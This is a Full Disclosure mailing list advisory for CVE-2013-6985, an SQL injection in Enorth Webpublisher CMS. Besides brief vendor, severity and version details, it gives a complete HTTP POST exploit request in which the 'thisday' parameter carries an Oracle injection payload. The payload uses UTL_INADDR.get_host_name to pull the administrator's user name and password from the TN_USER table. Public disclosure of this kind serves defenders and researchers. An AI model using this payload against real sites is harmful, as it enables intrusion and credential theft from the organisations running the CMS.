Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

[CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS
From: xin.wang <xin.wang () dbappsecurity com cn>
Date: Fri, 6 Dec 2013 10:18:23 +0800

Title:
====
[CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS

Vendor:
======
http://products.enorth.com.cn/bfnrglxt/index.shtml

Severity: 
=======
Important

Versions Affected: 
==============
All versions

Author: 
======
xin.wang(xin.wang(at)dbappsecurity.com.cn)

Abstract:
=======
Webpublisher CMS so far of the scale of tens of thousands of web sites, with the government, enterprises, scientific 
research and education and media industries fields such as nearly thousands of business users.
The Vulnerability Laboratory Research Team discovered SQL Injection vulnerability in all versions of Enorth 
Webpublisher CMS.

Exploit:
======
POST /pub/m_worklog/log_searchday.jsp HTTP/1.1
Host: www.test.com
User-Agent: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
Cookie: 
Pragma: no-cache
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 180

thisday=20131012') and UTL_INADDR.get_host_name((select v from (select rownum,USER_NAME||chr(94)||PASS_WORD v from 
TN_USER WHERE USER_ID=1) where rownum=1))>0--&cx.y=16&querytype=1

=====================================





_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • [CVE-2013-6985]SQL Injection Vulnerability In Enorth Webpublisher CMS xin . wang (Dec 06)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]